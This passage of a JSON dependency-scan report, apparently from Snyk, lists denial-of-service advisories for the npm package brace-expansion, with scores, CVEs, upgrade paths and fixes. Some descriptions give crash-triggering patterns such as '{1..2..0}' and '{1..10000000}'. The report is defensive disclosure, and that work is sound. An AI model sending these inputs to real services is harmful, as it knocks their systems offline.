"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p", "title": "Maintainer's Advisory" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T19:40:12.310972Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-29T05:44:15.508690Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n", "epssDetails": { "percentile": "0.26155", "probability": "0.00350", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": 